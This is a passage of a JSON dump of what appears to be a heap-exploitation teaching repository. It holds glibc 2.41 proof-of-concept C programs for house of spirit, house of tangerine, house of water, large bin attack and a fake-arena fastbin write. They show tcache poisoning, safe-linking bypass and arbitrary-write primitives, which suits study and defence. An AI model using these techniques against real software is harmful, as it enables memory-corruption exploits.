fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.41/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tputs(\"First we have to empty the tcache.\");\n\tfor(int i=0; i<7; i++) {\n\t\tmalloc(0x30);\n\t}\n\n\tprintf(\"Now the next calloc (or malloc) will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.41/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.41/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.41/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.41/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously 